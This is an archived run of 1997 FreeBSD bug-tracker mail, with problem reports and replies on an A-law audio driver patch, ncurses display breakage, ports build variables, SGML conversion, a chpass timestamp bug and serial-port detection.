FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/4233: pca driver does not support A-law encodings. Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4233 >Category: kern >Synopsis: pca driver does not support A-law encodings. >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 01:20:01 PDT 1997 >Last-Modified: >Originator: Wolfgang Helbig >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: >Description: The pca driver, which controlls the PC speaker, does not support A-law encoded sound files, i. e. this driver is not finished yet. A-law encoding is used among other things by ISDN in Europe and I need this ability for my ISDN answering machine. (bisdntel) >How-To-Repeat: >Fix: Here there is a diff file for /usr/src/sys/i386/isa/pcaudio.c and a new file /usr/src/sys/i386/isa/sound/alaw.h Index: pcaudio.c =================================================================== RCS file: /usr/cvsroot/src/sys/i386/isa/pcaudio.c,v retrieving revision 1.34 diff -c -r1.34 pcaudio.c *** pcaudio.c 1997/02/22 09:36:58 1.34 --- pcaudio.c 1997/08/03 17:11:13 *************** *** 48,53 **** --- 48,55 ---- #define DSP_ULAW_NOT_WANTED #include + #define LINEAR_ALAW_NOT_WANTED + #include #ifdef DEVFS #include *************** *** 355,360 **** --- 357,363 ---- break; case AUDIO_ENCODING_ALAW: + conv(alaw_linear, pca_status.buf[which], count); break; case AUDIO_ENCODING_RAW: ====================================================================== New file: /sys/i386/isa/sound/alaw.h static unsigned char alaw_linear[] = { 45, 214, 122, 133, 0, 255, 107, 149, 86, 171, 126, 129, 0, 255, 117, 138, 13, 246, 120, 135, 0, 255, 99, 157, 70, 187, 124, 131, 0, 255, 113, 142, 61, 198, 123, 132, 0, 255, 111, 145, 94, 163, 127, 128, 0, 255, 119, 136, 29, 230, 121, 134, 0, 255, 103, 153, 78, 179, 125, 130, 0, 255, 115, 140, 37, 222, 122, 133, 0, 255, 105, 151, 82, 175, 126, 129, 0, 255, 116, 139, 5, 254, 120, 135, 0, 255, 97, 159, 66, 191, 124, 131, 0, 255, 112, 143, 53, 206, 123, 132, 0, 255, 109, 147, 90, 167, 127, 128, 0, 255, 118, 137, 21, 238, 121, 134, 0, 255, 101, 155, 74, 183, 125, 130, 0, 255, 114, 141, 49, 210, 123, 133, 0, 255, 108, 148, 88, 169, 127, 129, 0, 255, 118, 138, 17, 242, 121, 135, 0, 255, 100, 156, 72, 185, 125, 131, 0, 255, 114, 142, 64, 194, 124, 132, 0, 255, 112, 144, 96, 161, 128, 128, 1, 255, 120, 136, 33, 226, 122, 134, 0, 255, 104, 152, 80, 177, 126, 130, 0, 255, 116, 140, 41, 218, 122, 133, 0, 255, 106, 150, 84, 173, 126, 129, 0, 255, 117, 139, 9, 250, 120, 135, 0, 255, 98, 158, 68, 189, 124, 131, 0, 255, 113, 143, 57, 202, 123, 132, 0, 255, 110, 146, 92, 165, 127, 128, 0, 255, 119, 137, 25, 234, 121, 134, 0, 255, 102, 154, 76, 181, 125, 130, 0, 255, 115, 141, }; #ifndef LINEAR_ALAW_NOT_WANTED static unsigned char linear_alaw[] = { 252, 172, 172, 172, 172, 80, 80, 80, 80, 208, 208, 208, 208, 16, 16, 16, 16, 144, 144, 144, 144, 112, 112, 112, 112, 240, 240, 240, 240, 48, 48, 48, 48, 176, 176, 176, 176, 64, 64, 64, 64, 192, 192, 192, 192, 0, 0, 0, 0, 128, 128, 128, 128, 96, 96, 96, 96, 224, 224, 224, 224, 32, 32, 32, 160, 160, 88, 88, 216, 216, 24, 24, 152, 152, 120, 120, 248, 248, 56, 56, 184, 184, 72, 72, 200, 200, 8, 8, 136, 136, 104, 104, 232, 232, 40, 40, 168, 86, 214, 22, 150, 118, 246, 54, 182, 70, 198, 6, 134, 102, 230, 38, 166, 222, 158, 254, 190, 206, 142, 238, 210, 242, 194, 226, 218, 250, 202, 234, 235, 203, 251, 219, 227, 195, 243, 211, 175, 239, 143, 207, 191, 255, 159, 223, 167, 39, 231, 103, 135, 7, 199, 71, 183, 55, 247, 119, 151, 23, 215, 87, 87, 169, 169, 41, 41, 233, 233, 105, 105, 137, 137, 9, 9, 201, 201, 73, 73, 185, 185, 57, 57, 249, 249, 121, 121, 153, 153, 25, 25, 217, 217, 89, 89, 89, 161, 161, 161, 161, 33, 33, 33, 33, 225, 225, 225, 225, 97, 97, 97, 97, 129, 129, 129, 129, 1, 1, 1, 1, 193, 193, 193, 193, 65, 65, 65, 65, 177, 177, 177, 177, 49, 49, 49, 49, 241, 241, 241, 241, 113, 113, 113, 113, 145, 145, 145, 145, 17, 17, 17, 17, 209, 209, 209, 209, 81, 253, }; #endif /* !LINEAR_ALAW_NOT_WANTED */ >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Aug 6 08:20:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA01727 for bugs-outgoing; Wed, 6 Aug 1997 08:20:06 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA01711; Wed, 6 Aug 1997 08:20:03 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 08:20:03 -0700 (PDT) Resent-Message-Id: <199708061520.IAA01711@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, stesin@gu.net Received: from trifork.gu.net (trifork.gu.net [194.93.190.194]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA01272 for ; Wed, 6 Aug 1997 08:12:35 -0700 (PDT) Received: (from stesin@localhost) by trifork.gu.net (8.8.6/8.8.6) id CAA08847; Thu, 7 Aug 1997 02:08:03 +0300 (EEST) Message-Id: <199708062308.CAA08847@trifork.gu.net> Date: Thu, 7 Aug 1997 02:08:03 +0300 (EEST) From: stesin@gu.net Reply-To: stesin@gu.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/4234: ncurses programs broken, won't work in recent -STABLE Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4234 >Category: bin >Synopsis: ncurses programs broken, won't work in recent -STABLE >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 08:20:01 PDT 1997 >Last-Modified: >Originator: Andrew Stesin >Organization: Global Ukraine Inc. >Release: FreeBSD 2.2-970801-RELENG i386 >Environment: FreeBSD 2.2-970801-RELENG i386, freshly installed from a snapshot; lynx port as of yesterday -- lynx-2.7.1ac-0.45, display is `cons30r' though the same applies to a plain `cons25' display. >Description: When lynx is built "by default" (means: with ncurses) character display is screwed -- no highligting, no other effects, and even worse: the whole screen is screwed -- it won't even do CR and LF, everything goes in a one-very-long-line mixture. Same applies to i.e. ncftp2. Rebuilding the whole libraries from source doesn't fix the problem. Rebuilding lynx (&& other affected programs) with "plain old curses" fixes the problem (though the screen is so much less fancy :) The problem didn't exist in the late-June STABLE snapshots. >How-To-Repeat: Install a recent 2.2-STABLE and try to use your old lynx, or to build a new one from the port. >Fix: No idea about what has been changed in ncurses during July... :( Might be termcap problem also, but I didn't notice any changes there. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Aug 6 10:00:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07170 for bugs-outgoing; Wed, 6 Aug 1997 10:00:07 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07112; Wed, 6 Aug 1997 10:00:03 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 10:00:03 -0700 (PDT) Resent-Message-Id: <199708061700.KAA07112@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, eserte@cs.tu-berlin.de Received: from cottrell.dialup.fu-berlin.de (dial1-02.zrz.TU-Berlin.DE [130.149.1.162]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA06746 for ; Wed, 6 Aug 1997 09:55:24 -0700 (PDT) Received: (from eserte@localhost) by cottrell.dialup.fu-berlin.de (8.8.5/8.8.5) id SAA03750; Wed, 6 Aug 1997 18:38:06 +0200 (CEST) Message-Id: <199708061638.SAA03750@cottrell.dialup.fu-berlin.de> Date: Wed, 6 Aug 1997 18:38:06 +0200 (CEST) From: Slaven Rezic Reply-To: eserte@cs.tu-berlin.de To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: misc/4235: /usr/share/mk/bsd.ports.mk and GNU configure Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4235 >Category: misc >Synopsis: /usr/share/mk/bsd.ports.mk and GNU configure >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 10:00:01 PDT 1997 >Last-Modified: >Originator: Slaven Rezic >Organization: Private FreeBSD site, Berlin, Germany >Release: FreeBSD 2.2.1-RELEASE i386 >Environment: >Description: The target do-configure in bsd.ports.mk should include INSTALL_DATA="${INSTALL_DATA}" \ INSTALL_SCRIPT="${INSTALL_SCRIPT}" as well as INSTALL and INSTALL_PROGRAM. The configure program of enscript-1.5.0 uses all of these variables. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Aug 6 10:00:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07186 for bugs-outgoing; Wed, 6 Aug 1997 10:00:09 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07147; Wed, 6 Aug 1997 10:00:06 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 10:00:06 -0700 (PDT) Resent-Message-Id: <199708061700.KAA07147@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, eserte@cs.tu-berlin.de Received: from cottrell.dialup.fu-berlin.de (dial1-02.zrz.TU-Berlin.DE [130.149.1.162]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA06756 for ; Wed, 6 Aug 1997 09:55:32 -0700 (PDT) Received: (from eserte@localhost) by cottrell.dialup.fu-berlin.de (8.8.5/8.8.5) id SAA04019; Wed, 6 Aug 1997 18:49:23 +0200 (CEST) Message-Id: <199708061649.SAA04019@cottrell.dialup.fu-berlin.de> Date: Wed, 6 Aug 1997 18:49:23 +0200 (CEST) From: Slaven Rezic Reply-To: eserte@cs.tu-berlin.de To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: docs/4236: sgml: translation of to html is wrong Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4236 >Category: docs >Synopsis: sgml: translation of to html is wrong >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 10:00:04 PDT 1997 >Last-Modified: >Originator: Slaven Rezic >Organization: Private FreeBSD site, Berlin, Germany >Release: FreeBSD 2.2.1-RELEASE i386 >Environment: >Description: The translation of -Tags in sgml files to html documents is not correct. >How-To-Repeat: Look at file://localhost/usr/share/doc/FAQ/FAQ72.html#72 (for FreeBSD-2.2.1). There is a verbose
before and after each code section. >Fix: Here is a workaround for /usr/share/sgml/transpec/linuxdoc-html.ts: --- linuxdoc-html.ts.orig Sat Apr 5 14:49:11 1997 +++ linuxdoc-html.ts Wed Jun 25 03:11:01 1997 @@ -488,8 +488,10 @@ CODE - ^<hr><pre>^ - ^</pre><hr>^ + ^<hr> +<pre>^ + ^</pre> +<hr>^ >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Aug 6 10:20:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA08193 for bugs-outgoing; Wed, 6 Aug 1997 10:20:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA08161; Wed, 6 Aug 1997 10:20:01 -0700 (PDT) Date: Wed, 6 Aug 1997 10:20:01 -0700 (PDT) Message-Id: <199708061720.KAA08161@hub.freebsd.org> To: freebsd-bugs Cc: From: Paul van der Zwan Subject: Re: bin/4152: pstat -T Reply-To: Paul van der Zwan Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4152; it has been noted by GNATS. From: Paul van der Zwan To: freebsd-gnats-submit@freebsd.org, heboy@mars.tku.edu.tw Cc: Subject: Re: bin/4152: pstat -T Date: Wed, 06 Aug 1997 19:17:24 +0200 Same problem on -current. Paul -- Paul van der Zwan paulz @ trantor.stuyts.nl "I think I'll move to theory, everything works in theory..." From owner-freebsd-bugs Wed Aug 6 12:10:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA13739 for bugs-outgoing; Wed, 6 Aug 1997 12:10:06 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA13720; Wed, 6 Aug 1997 12:10:02 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 12:10:02 -0700 (PDT) Resent-Message-Id: <199708061910.MAA13720@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, schweikh@noc.dfn.de Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA13607; Wed, 6 Aug 1997 12:08:55 -0700 (PDT) Message-Id: <199708061908.MAA13607@hub.freebsd.org> Date: Wed, 6 Aug 1997 12:08:55 -0700 (PDT) From: schweikh@noc.dfn.de To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/4238: chpass only occasionally works in conjunction with ed Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4238 >Category: bin >Synopsis: chpass only occasionally works in conjunction with ed >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 12:10:01 PDT 1997 >Last-Modified: >Originator: Jens Schweikhardt >Organization: DFN >Release: 2.2.2-Release >Environment: 2.2.2-Release HAL9000 >Description: When I try to change the home directory of user 'toor' from /root to whatever using the editor ed (see below) and chpass then chpass only accepts the changes occasionally. IOW, I try it between 2 and a dozen times until it succeeds. I read the man page of chpass and could not find any explanation. >How-To-Repeat: % printf ',s,: /root,: /opt/home/root,\nw\nq\n' | EDITOR=ed chpass toor 282 291 chpass: no changes made chpass: /etc/master.passwd: unchanged % printf ',s,: /root,: /opt/home/root,\nw\nq\n' | EDITOR=ed chpass toor 282 291 chpass: no changes made chpass: /etc/master.passwd: unchanged % printf ',s,: /root,: /opt/home/root,\nw\nq\n' | EDITOR=ed chpass toor 282 291 chpass: no changes made chpass: /etc/master.passwd: unchanged % printf ',s,: /root,: /opt/home/root,\nw\nq\n' | EDITOR=ed chpass toor 282 291 chpass: no changes made chpass: /etc/master.passwd: unchanged % printf ',s,: /root,: /opt/home/root,\nw\nq\n' | EDITOR=ed chpass toor 282 291 chpass: rebuilding the database... chpass: done Notes: 282 is the number of chars before editing 291 is the number after the substitution is done and the file is written, so the substitution did *not* fail. If this is the correct behaviour of chpass then I'm slightly confused. Doing the change interactively using vi always succeeds right away. And no, the system is not busy -- there is no one editing password information databases other than me. >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Aug 6 19:50:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA11598 for bugs-outgoing; Wed, 6 Aug 1997 19:50:03 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA11592; Wed, 6 Aug 1997 19:50:01 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 19:50:01 -0700 (PDT) Resent-Message-Id: <199708070250.TAA11592@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, dgilbert@velocet.ca Received: from strike.pci.on.ca (strike.velocet.ca [209.50.72.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA11411 for ; Wed, 6 Aug 1997 19:46:33 -0700 (PDT) Received: (from root@localhost) by strike.pci.on.ca (8.8.5/8.8.5) id WAA00621; Wed, 6 Aug 1997 22:46:23 -0400 (EDT) Message-Id: <199708070246.WAA00621@strike.pci.on.ca> Date: Wed, 6 Aug 1997 22:46:23 -0400 (EDT) From: "MR. ROOT" Reply-To: dgilbert@velocet.ca To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/4240: Serial ports on Pentium motherboard fail to configure. Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4240 >Category: kern >Synopsis: kernel fails to recognise 2nd serial port, but works with teli\ >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 19:50:00 PDT 1997 >Last-Modified: >Originator: David Gilbert >Organization: Velocet Communications, Inc. >Release: FreeBSD 2.2.1-RELEASE i386 >Environment: System is fairly standard with only an ISA VGA video card in it's card cage. >Description: This is happening with new pentium motherboards that I've been getting lately. The first serial port is recognised, but the second is not. I have an unconfirmed report from my partner that the addition of a serial port board does not fix the problem (ie... ports still not recognised). I could accept this as bad hardware except for the fact that telix running from a bootable dos floppy (a trusty friend of ours) has no problems accessing the ports to drive a modem I have even tried setting the bios to different ports to get them to show up --- no dice. Here is a copy of the kernel's -v config output: Copyright (c) 1992-1996 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.1-RELEASE #0: Fri Jun 6 01:31:29 EDT 1997 root@strike.pci.on.ca:/u5/src/sys/compile/STRIKE Calibrating clock(s) ... i586 clock: 75177355 Hz, i8254 clock: 1193293 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency CLK_USE_I586_CALIBRATION not specified - using old calibration method CPU: Pentium (75.17-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x525 Stepping=5 Features=0x1bf real memory = 16777216 (16384K bytes) avail memory = 14680064 (14336K bytes) pcibus_setup(1): mode 1 addr port (0x0cf8) is 0x8000005c pcibus_setup(1a): mode1res=0x80000000 (0x80000000) pcibus_check: device 0 is there (id=70308086) Probing for devices on PCI bus 0: configuration mode 1 allows 32 devices. chip0 rev 2 on pci0:0 PCI Concurrency: enabled Cache: 512K dual-bank pipelined-burst secondary; L1 enabled DRAM: no memory hole, 50 MHz refresh Read burst timing: x-2-2-2/x-3-3-3 Write burst timing: x-3-3-3 RAS-CAS delay: 3 clocks chip1 rev 1 on pci0:7:0 chip2 rev 0 on pci0:7:1 mapreg[20] type=1 addr=0000f000 size=0010. I/O Recovery Timing: 8-bit 3.5 clocks, 16-bit 3.5 clocks Extended BIOS: disabled Lower BIOS: disabled Coprocessor IRQ13: disabled Mouse IRQ12: disabled Interrupt Routing: A: , B: , C: , D: MB0: , MB1: pci0: uses 16 bytes of I/O space from f000 upto f00f. Probing for devices on the ISA bus: sc0: the current keyboard controller command byte 0047 kbdio: RESET_KBD return code:00fa kbdio: RESET_KBD status:00aa sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0 at 0x300-0x31f irq 10 on isa ed0: address 00:00:21:43:28:97, type NE2000 (16 bit) bpf: ed0 attached ed1 not probed due to I/O address conflict with ed0 at 0x300 sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 not found at 0x2f8 sio2 not found at 0x3e8 sio3 not found at 0x2e8 lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface bpf: lp0 attached lpt1 not found at 0xffffffff fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 765 fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): wd0: 2441MB (4999680 sectors), 4960 cyls, 16 heads, 63 S/T, 512 B/S wdc1 at 0x170-0x177 irq 15 on isa wdc1: unit 0 (atapi): , removable, accel, dma, iordis ep0 not probed due to I/O address conflict with ed0 at 0x300 npx0 on motherboard npx0: INT 16 interface imasks: bio c000c040, tty c0030492, net c0030492 BIOS Geometries: 0:026a7f3f 0..618=619 cylinders, 0..127=128 heads, 1..63=63 sectors 0 accounted for Device configuration finished. Considering FFS root f/s. configure() finished. bpf: tun0 attached bpf: tun1 attached bpf: tun2 attached bpf: tun3 attached bpf: sl0 attached bpf: lo0 attached ccd0-3: Concatenated disk drivers wd0s1: type 0xa5, start 63, end = 395135, size 395073 : OK wd0s2: type 0xa5, start 395136, end = 1623887, size 1228752 : OK wd0s3: type 0xa5, start 1623888, end = 4999679, size 3375792 : OK >How-To-Repeat: The machine is available on the internet and logins could be arranged if necessary. >Fix: >Audit-Trail: >Unformatted: x From owner-freebsd-bugs Wed Aug 6 20:10:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA12494 for bugs-outgoing; Wed, 6 Aug 1997 20:10:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA12482; Wed, 6 Aug 1997 20:10:02 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 20:10:02 -0700 (PDT) Resent-Message-Id: <199708070310.UAA12482@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, dgilbert@velocet.ca Received: from strike.pci.on.ca (strike.velocet.ca [209.50.72.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA12023 for ; Wed, 6 Aug 1997 20:00:11 -0700 (PDT) Received: (from root@localhost) by strike.pci.on.ca (8.8.5/8.8.5) id XAA01080; Wed, 6 Aug 1997 23:00:14 -0400 (EDT) Message-Id: <199708070300.XAA01080@strike.pci.on.ca> Date: Wed, 6 Aug 1997 23:00:14 -0400 (EDT) From: "MR. ROOT" Reply-To: dgilbert@velocet.ca To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/4241: Send-pr fails with emacs Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4241 >Category: bin >Synopsis: send-pr aborts when emacs is editor >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Aug 6 20:10:01 PDT 1997 >Last-Modified: >Originator: David Gilbert >Organization: Velocet Communications >Release: FreeBSD 2.2.1-RELEASE i386 >Environment: Emacs-19.34b from /usr/ports is being used, but doesn't matter. >Description: send-pr will print 'Aborted' on the terminal after emacs exits if the user causes a signal to be sent to emacs. This problem was recently solved in NetBSD from my complaint. They said that emacs commonly created a signal that was sent to the terminal group which caused send-pr to abort. >How-To-Repeat: A normal emacs editing session will normally trigger this, but emacs must be used in terminal mode (not X-windows mode). I believe that it's some action similar to CTRL-G that does it. >Fix: NetBSD's send-pr was recently fixed in -current. Fix on FreeBSD should be the same. Dave. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Wed Aug 6 21:19:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA15276 for bugs-outgoing; Wed, 6 Aug 1997 21:19:44 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA15266 for ; Wed, 6 Aug 1997 21:19:41 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id VAA19490; Wed, 6 Aug 1997 21:18:12 -0700 (PDT) To: "Mario Sergio Fujikawa Ferreira" cc: "Joerg Wunsch" , "Brian Somers" , freebsd-bugs@FreeBSD.ORG Subject: Re: bin/4195 In-reply-to: Your message of "Sat, 02 Aug 1997 12:23:43 -0300." <199708021523.MAA13366@srv1-bsb.gns.com.br> Date: Wed, 06 Aug 1997 21:18:11 -0700 Message-ID: <19486.870927491@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I was just following up Jordan's email. I guess either he knows the fixup > or he knows the person who does. Wrong on both counts, sorry. I only know that there's a problem - it still awaits a fix. Jordan From owner-freebsd-bugs Wed Aug 6 21:29:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA15833 for bugs-outgoing; Wed, 6 Aug 1997 21:29:41 -0700 (PDT) Received: from proxy-bsb.gns.com.br (Q3bIwC2P0MABmxOOFfzzI2Ce0wCUnH7u@srv1-bsb.GNS.com.br [200.239.56.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA15828 for ; Wed, 6 Aug 1997 21:29:36 -0700 (PDT) Received: (qmail 8655 invoked from network); 7 Aug 1997 04:29:12 -0000 Received: from unknown (HELO srv1-bsb.gns.com.br) (unknown) by unknown with SMTP; 7 Aug 1997 04:29:12 -0000 Received: (from mail@localhost) by srv1-bsb.gns.com.br (8.8.6/8.8.6) id BAA08650; Thu, 7 Aug 1997 01:29:12 -0300 (EST) Message-Id: <199708070429.BAA08650@srv1-bsb.gns.com.br> Received: from dl0231-bsb.gns.com.br(200.239.56.231) by srv1-bsb.gns.com.br via smap (V2.0) id xma008639; Thu, 7 Aug 97 01:28:47 -0300 From: "Mario Sergio Fujikawa Ferreira" To: "Jordan K. Hubbard" Cc: "Joerg Wunsch" , "Brian Somers" , , "Daniel Capo Sobral" Subject: Re: bin/4195 Date: Thu, 7 Aug 1997 01:29:52 -0300 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >I was just following up Jordan's email. I guess either he knows the fixup > > or he knows the person who does. > > Wrong on both counts, sorry. I only know that there's a problem - it > still awaits a fix. I know this is considered a minor bug, yet as it did bother me a lot, I and a friend will be taking a closer look a this issue. Hopefully we will end up with a solution. However, we don't know when that might happen. Non paying activities are not top priorities nowadays. Regards, Mario Ferreira. From owner-freebsd-bugs Wed Aug 6 23:30:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA21965 for bugs-outgoing; Wed, 6 Aug 1997 23:30:03 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA21958; Wed, 6 Aug 1997 23:30:01 -0700 (PDT) Date: Wed, 6 Aug 1997 23:30:01 -0700 (PDT) Message-Id: <199708070630.XAA21958@hub.freebsd.org> To: freebsd-bugs Cc: From: j@uriah.heep.sax.de (J Wunsch) Subject: Re: bin/4238: chpass only occasionally works in conjunction with ed Reply-To: j@uriah.heep.sax.de (J Wunsch) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4238; it has been noted by GNATS. From: j@uriah.heep.sax.de (J Wunsch) To: schweikh@noc.dfn.de Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/4238: chpass only occasionally works in conjunction with ed Date: Thu, 7 Aug 1997 08:18:36 +0200 As schweikh@noc.dfn.de wrote: > When I try to change the home directory of user 'toor' from > /root to whatever using the editor ed (see below) and chpass > then chpass only accepts the changes occasionally. UTSL. You could have easily found the reason yourself: if (begin.st_mtime == end.st_mtime) { warnx("no changes made"); pw_error(NULL, 0, 0); } That is, the editing process needs to last for at least one second right now, in order for chpass(1) to notice the modification on the file since it's only done using the file modification timestamp. Fix: include st_mtimensec into the consideration. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Wed Aug 6 23:53:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA23311 for bugs-outgoing; Wed, 6 Aug 1997 23:53:54 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA23305 for ; Wed, 6 Aug 1997 23:53:44 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA25461; Thu, 7 Aug 1997 08:53:33 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA26120; Thu, 7 Aug 1997 08:46:26 +0200 (MET DST) Message-ID: <19970807084626.TC51447@uriah.heep.sax.de> Date: Thu, 7 Aug 1997 08:46:26 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: lioux@gns.com.br (Mario Sergio Fujikawa Ferreira) Cc: jkh@time.cdrom.com (Jordan K. Hubbard), brian@awfulhak.org (Brian Somers), freebsd-bugs@FreeBSD.ORG, dcs@gns.com.br (Daniel Capo Sobral) Subject: Re: bin/4195 